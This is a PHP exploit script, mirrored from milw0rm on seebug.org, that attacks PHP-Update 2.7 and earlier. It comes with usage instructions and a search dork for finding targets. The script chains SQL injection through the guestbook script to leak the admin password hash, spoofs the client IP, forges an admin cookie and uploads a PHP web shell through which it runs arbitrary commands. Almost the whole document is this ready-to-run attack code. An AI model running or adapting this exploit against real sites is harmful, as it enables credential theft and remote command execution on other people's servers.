php-update <= 2.7 - Multiple Vulnerabilities exploit

2014-07-0100:00:00
Root
www.seebug.org
JSON
No description provided by source.

                                                &#60;?php
print_r(&#39;
---------------------------------------------------------------------------
PHP-Update &#60;= 2.7 str_replace() sql injection / privilege escalation /
/ cmd exec ii
by rgod
dork: &#34;Powered by PHP-Update&#34; -site:www.php-update.co.uk -ihackstuff
      -exploit

mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
&#39;);
/*
this works regardless of php.ini settings
and against the Php-Update mysql version with Mysql &#62;= 4.1
(allowing subs)
*/

if ($argc&#60;3) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to PHPUpdate
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -t[prefix]:  specify a table prefix
Example:
php &#39;.$argv[0].&#39; localhost /phpupd/ ls -la -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost / ls -la -p81
php &#39;.$argv[0].&#39; localhost / ls -la -tphpupd_
---------------------------------------------------------------------------
&#39;);
    die;
}
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy=&#34;&#34;;
$cmd=&#34;&#34;;
$prefix=&#34;phpusql_&#34;;

for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;)
and ($temp&#60;&#62;&#34;-P&#34;)
and ($temp&#60;&#62;&#34;-t&#34;)
) {$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-t&#34;)
{
  $prefix=str_replace(&#34;-t&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

function my_encode($my_string)
{
  $encoded=&#34;CHAR(&#34;;
  for ($k=0; $k&#60;=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=&#34;)&#34;;}
    else {$encoded.=&#34;,&#34;;}
  }
  return $encoded;
}
/*
because of the bad use of extract() we can pass arguments
calling directly the /code/guestadd.php script
we have sql injections in multiple arguments, &#34;newmessage&#34;,
&#34;newname&#34;,&#34;newwebsite&#34;,&#34;newemail&#34;
and we can use quotes because we have:

  [argument] = str_replace(&#34;\&#39;&#34;,&#34;&#39;&#34;,[argument]);

on every ones
oh, let me see our query...

 INSERT INTO phpusql_guestbook VALUES(&#39;1&#39;, &#39;[injection here]

so...
*/

$UTAG=my_encode(&#34;&#60;USER&#62;&#34;);
$PTAG=my_encode(&#34;&#60;PASS&#62;&#34;);
$SQL =&#34;1&#39;,(SELECT/**/CONCAT(&#34;.$UTAG.&#34;,username,&#34;.$UTAG.&#34;)/**/FROM/**/&#34;.$prefix.&#34;users/**/WHERE/**/ADMIN=1),&#34;;
$SQL.=&#34;(SELECT/**/CONCAT(&#34;.$PTAG.&#34;,password,&#34;.$PTAG.&#34;)/**/FROM/**/&#34;.$prefix.&#34;users/**/WHERE ADMIN=1),&#39;1&#39;,&#39;1.1.1.1&#39;,&#39;1&#39;)&#34;;
$SQL.=&#34;/**/ON/**/DUPLICATE /**/KEY/**/UPDATE/**/autono=autono+1/*&#34;;

//funny, isn&#39;t it? :) we hide password hashes inside guestbook html

//also, I note this, we have a spoofing issue, beacuse of extract()
//let&#39;s overwrite the ip address...
$data=&#39;-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;_SERVER[REMOTE_ADDR]&#34;;

1.1.1.1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;newmessage&#34;;

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;newname&#34;;

&#39;.$SQL.&#39;
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;newwebsite&#34;;

1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;newemail&#34;;

1
-----------------------------7d61bcd1f033e--
&#39;;
$packet =&#34;POST &#34;.$p.&#34;code/guestadd.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

//so let&#39;s see the admin pair...
$packet =&#34;GET &#34;.$p.&#34;index.php?s=guestbook HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
$temp=explode(&#34;&#60;USER&#62;&#34;,$html);
$user=$temp[1];
$temp=explode(&#34;&#60;PASS&#62;&#34;,$html);
$pwd=$temp[1];

function is_my_hash($hash)
{
 if (ereg(&#34;([a-f0-9]{16})|([A-F0-9]{41})&#34;,trim($hash))) {return true;}
 else {return false;}
}

if (is_my_hash($pwd)) {
    print_r(&#39;
admin -&#62; &#39;.$user.&#39;
MySql PASSWORD() hash -&#62; &#39;.$pwd.&#39;
admin cookie -&#62; logincookie[user]=&#39;.$user.&#39;; logincookie[pwd]=&#39;.$pwd.&#39;;
&#39;);
}
else
{  //die(&#34;exploit failed...&#34;);
   //let&#39;s continue, maybe already executed...
}
sleep(1);

function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$v = rand(111111,999999);

//with admin privileges, we upload a php file...
$data=&#39;-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;userfile&#34;; filename=&#34;suntzu_&#39;.$v.&#39;.php&#34;;
Content-type: text/plain;

&#60;?php set_time_limit(0); error_reporting(7); echo &#34;my_delim&#34;; passthru($_SERVER[HTTP_SUNTZU]); echo &#34;my_delim&#34;;?&#62;
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;filecat&#34;;

files
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name=&#34;submit&#34;;

Upload
-----------------------------7d61bcd1f033e--
&#39;;
$packet =&#34;POST &#34;.$p.&#34;admin/uploads.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Cookie: logincookie[user]=&#34;.$user.&#34;; logincookie[pwd]=&#34;.$pwd.&#34;;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
sleep(1);

//now launch commands...
$packet =&#34;GET &#34;.$p.&#34;files/suntzu_&#34;.$v.&#34;.php HTTP/1.0\r\n&#34;;
$packet.=&#34;SUNTZU: &#34;.$cmd.&#34;\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet);
if (eregi(&#34;my_delim&#34;,$html)) {
    $temp=explode(&#34;my_delim&#34;,$html);
    echo $temp[1];
}
else {
    echo &#34;exploit failed...&#34;;
}
?&#62;

# milw0rm.com [2006-12-26]
JSON